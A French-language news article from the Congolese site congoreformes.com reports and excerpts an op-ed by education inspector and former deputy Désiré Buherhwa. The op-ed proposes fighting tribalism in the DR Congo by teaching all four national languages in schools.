« Combattre le tribalisme par l’Enseignement », la recette inédite de l’Inspecteur Désiré Buherhwa

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Par Oscar BISIMWA

Dans une tribune dont une copie est parvenue à congoreformes.com vendredi 15 mars, le Député National honoraire et Inspecteur de l’Enseignement primaire, secondaire et professionnel, Désiré Buherhwa édicte une recette magique pour combattre le tribalisme. Et cette recette c’est l’Enseignement.

À en croire l’inspecteur Désiré Buherhwa, l’enseignement National porte un arsenal inestimable dans la guerre contre le tribalisme partout décrié en République démocratique du Congo et qui tend à anéantir l’effort de l’unité national qui a pourtant résisté à toutes les campagnes d’incitation à la haine tribunale ainsi qu’aux guerres imposées et téléguidées de l’extérieur.

« En clair, cet expert des questions éducatives, ex Député et co-fondateur de l’Union pour la nation congolaise (UNC) recommande d’ « Enseigner les quatre langues nationales à tous les Congolais progressivement tous les deux ans, du primaire aux humanités. Cela, dit-il, ne devrait plus se faire de manière linguistique, mais comme langue de contact à l’instar de l’apprentissage de l’anglais, du portugais, de l’espagnol, de l’allemand, du chinois, etc. »

Ci-dessous un extrait de la tribune de l’inspecteur Désiré Buherhwa intitulée : « combattre le tribalisme par l’Enseignement »:

Le Président Joseph Désire Mobutu Sese Seko avait compris que le tribalisme était un fléau qu’il fallait à tout prix combattre, si pas juguler au Zaïre (actuelle République démocratique du Congo). C’est ainsi qu’il avait instauré la « territoriale des non-originaires ».

Aux niveaux de l’Université Nationale du Zaïre et autres Instituts Supérieurs, les autorités n’étaient pas des originaires. Il est allé loin avec les animateurs de son parti le Mouvement populaire de la Révolution (MPR) dans les provinces (appelées régions à l’époque). Les chefs n’étaient pas autochtones.

Cela a permis à beaucoup de compatriotes de s’installer paisiblement dans des provinces autres que les leurs d’origine. S’installer dans une province pour une longue durée implique d’y passer tous les grands moments de sa vie, dont le mariage. Évidemment, beaucoup de ces respectueux fonctionnaires de la République se sont mariés dans les provinces où ils ont été affectés et y ont donc fondé des familles. Leurs enfants nés des unions conclus sur place parlaient les langue du lieu et ne pouvaient éprouver aucune différence avec les originaires.

En optant pour ce système, le Chef de l’État voulait que le Zaïrois (Congolais) se sente chez lui partout où il se trouve. Ainsi, un Kivutien se sentait chez lui au Haut-Zaïre (ancienne appellation de l’ex province orientale), comme un Kasaïen se sentait chez lui au Bandundu. Un Mukongo (ou Ne Kongo) se sentait chez lui au Shaba (ancienne appellation de l’espace Katanga), comme un Kinois se sentait chez lui au Bas-Zaïre (actuel Kongo-central).

Aujourd’hui, j’estime qu’il est grand temps, pour le brassage des peuples congolais, et pour combattre le tribalisme qui semble renaître de manière silencieuse, de se servir de l’enseignement.

Que faire exactement? La langue étant un facteur fédérateur incontournable, il faudrait apprendre toutes les langues nationales à l’école, de manière à ce que le Congolais parle toutes les quatre langues majeures de son pays.

En effet, avant 15 ans, un enfant peut apprendre plusieurs langues à la fois avec facilité. Enseigner les quatre langues nationales à tous les Congolais progressivement tous les deux ans du primaire aux humanités. Il ne serait plus qu’est d’apprendre les langues de manière linguistique, mais comme des langues de contact à l’instar de de l’apprentissage de l’anglais, du portugais, de l’espagnol, de l’allemand, du chinois, etc.

C’est-à-dire enseigner le Kiswahili et le Tshiluba à l’ouest (Grand Bandundu, Kongo central, Grand Équateur et Kinshasa); au centre, enseigner le Kiswahili, le Lingala et le Kikongo( dans l’espace Kasaï); à l’Est (dans les deux Kivu, au Maniema…) enseigner le kikongo, le Tshiluba et le lingala.

De ce fait, chaque enfant congolais sera polyglotte. Les barrières linguistiques seront levées et l’on se retrouverait d’avantage rapprochés les uns des autres car pouvant se parler et se comprendre en n’importe quelle langue. Le contact sera plus facile et intégrateur, et à la longue, les mariages intertribaux seront encouragés…

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